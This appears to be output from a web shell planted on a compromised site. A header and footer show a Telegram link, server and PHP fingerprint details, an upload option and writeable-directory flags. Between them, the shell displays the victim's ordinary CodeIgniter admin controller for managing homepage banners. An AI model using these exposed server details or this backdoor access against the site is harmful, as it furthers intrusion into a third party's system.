https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/admin/Home_rightbanners.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Home_rightbanners extends Admin_Controller {
		
	function __construct() {
		parent::__construct();
		$this->load->model('home_rightbanner_m');	
	} 
		
	//this is to list all home_rightbanners
	public function index() {
		
		//pagination in action. 10 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/home_rightbanners/index';
		$config['per_page'] = 20;
		$config["uri_segment"] = 4;

		//fetch all home_rightbanners
		$config['total_rows'] = $this->home_rightbanner_m->record_count();  
		$this->pagination->initialize($config);
   		$this->data['home_rightbanners'] = $this->home_rightbanner_m->get_all_home_rightbanners($config["per_page"], 
		$this->uri->segment(4)); 
	
		//load view
		$this->data['subview'] = 'admin/home_rightbanners/index';
		$this->load->view('admin/templates/header', $this->data); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);		
    }
	
	//to add a new brand 
	public function add() {
	
	$this->data['home_rightbanners'] = $this->home_rightbanner_m->get_new();	  
		
		//validation check in action
		$config = array( 
                  array(
                     'field'   => 'title',
                     'label'   => 'Banner Title',
                     'rules'   => 'trim|required'
                  ),
                  array(
                     'field'   => 'display_title',
                     'label'   => 'Display Title',
                     'rules'   => 'trim|required'
                  ),
                  array(
                     'field'   => 'more_description',
                     'label'   => 'More description',
                     'rules'   => 'trim|required'
                  ), 
                   array(
                     'field'   => 'description',
                     'label'   => 'description',
                     'rules'   => 'trim|required'
                  ),   
                  array(
                     'field'   => 'banner_link',
                     'label'   => 'Banner Link',
                     'rules'   => 'trim'
                  ),  
                  array(
                     'field'   => 'priority',
                     'label'   => 'Priority',
                     'rules'   => 'trim|required|numeric'
                  ),  
				  array(
                     'field'   => 'status',
                     'label'   => 'status',
                     'rules'   => 'trim|required'
                  ),
                  
            );
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				//check & processing image banner upload files	
				if ($_FILES['userfile']['size'] !== 0) {  	

					$config['upload_path'] = './uploads/page/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '200';
					$config['max_width']  = '315';
					
					$this->load->library('upload', $config); 

					if ( ! $this->upload->do_upload()) {

		                //echo $this->upload->display_errors(); die();
							
						$this->session->set_flashdata('error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/home_rightbanners/add');
					
					} else {

					$image = $this->upload->data();
					$image_filename = $image['file_name']; 	 

					}	
				} 

				$data = array(
					'title' => $this->input->post('title'),
					'display_title' => $this->input->post('display_title'),
					'description' => $this->input->post('description'),
					'more_description' => $this->input->post('more_description'),
					'banner_link' => $this->input->post('banner_link'),
					'priority' => $this->input->post('priority'),
					'status' => $this->input->post('status'),
				);

				//image upload
				if (isset($image_filename)) {
					$data['image'] = $image_filename;
				} 

				$this->home_rightbanner_m->add_home_rightbanner($data);

				$this->session->set_flashdata('success', '<br><p style="background:orange; color:white; padding:5px; font-weight:bold;">Home right Banner Add Successful</p>');

				redirect('admin/home_rightbanners');
			}
		} 
		
		$this->data['subview'] = 'admin/home_rightbanners/edit';
		$this->load->view('admin/templates/header', $this->data);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);	
	}
	
	//to edit brand in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$count = $this->home_rightbanner_m->count_exist($id); 
		
		if ($count == 0) {
			//page not exist
			show_404();
		}		

		$this->data['home_rightbanners'] = $this->home_rightbanner_m->get($id);	
		
		//validation check in action
		$config = array( 
                  array(
                     'field'   => 'title',
                     'label'   => 'Banner Title',
                     'rules'   => 'trim|required'
                  ),
                  array(
                     'field'   => 'display_title',
                     'label'   => 'Display Title',
                     'rules'   => 'trim|required'
                  ),
                  array(
                     'field'   => 'more_description',
                     'label'   => 'More description',
                     'rules'   => 'trim|required'
                  ), 
                   array(
                     'field'   => 'description',
                     'label'   => 'description',
                     'rules'   => 'trim|required'
                  ),   
                  array(
                     'field'   => 'banner_link',
                     'label'   => 'Banner Link',
                     'rules'   => 'trim'
                  ),  
                  array(
                     'field'   => 'priority',
                     'label'   => 'Priority',
                     'rules'   => 'trim|required|numeric'
                  ),  
				  array(
                     'field'   => 'status',
                     'label'   => 'status',
                     'rules'   => 'trim|required'
                  ),
                  
            );

		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				//check & processing image banner upload files	
				if ($_FILES['userfile']['size'] !== 0) {  	

					$config['upload_path'] = './uploads/page/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '200';
					$config['max_width']  = '315';
					
					$this->load->library('upload', $config); 

					if ( ! $this->upload->do_upload()) {

		                //echo $this->upload->display_errors(); die();
							
						$this->session->set_flashdata('error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/home_rightbanners/add');
					
					} else {

					$image = $this->upload->data();
					$image_filename = $image['file_name']; 	 
					 
					}	
				}


				$data = array(
					'title' => $this->input->post('title'),
					'display_title' => $this->input->post('display_title'),
					'description' => $this->input->post('description'),
					'more_description' => $this->input->post('more_description'),
					'banner_link' => $this->input->post('banner_link'),
					'priority' => $this->input->post('priority'),
					'status' => $this->input->post('status'),
				);

				//image upload
				if (isset($image_filename)) {
					$data['image'] = $image_filename;
				} 

			$this->home_rightbanner_m->edit_home_rightbanners($id, $data);

			$this->session->set_flashdata('success', '<br><p style="background:orange; color:white; padding:5px; font-weight:bold;">Home right Banner Edit Successful</p>');
			
			redirect('admin/home_rightbanners');
			}
		} 
		
		$this->data['subview'] = 'admin/home_rightbanners/edit';
		$this->load->view('admin/templates/header', $this->data);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data);	
	}
	
	
	//to delete a brand
	public function delete($id) { 

		//check if id exist. If not exist, show 404.
		$count = $this->home_rightbanner_m->count_exist($id);
		
		if ($count == 0) {  
			//page not exist 
			show_404();
		}		
		

		//delete brand
		$this->home_rightbanner_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:orange; color:white; padding:5px; font-weight:bold;">Home right Banner Delete Successful</p>');
		redirect('admin/home_rightbanners');
	}
		
}

https://t.me/RX1948 - 2025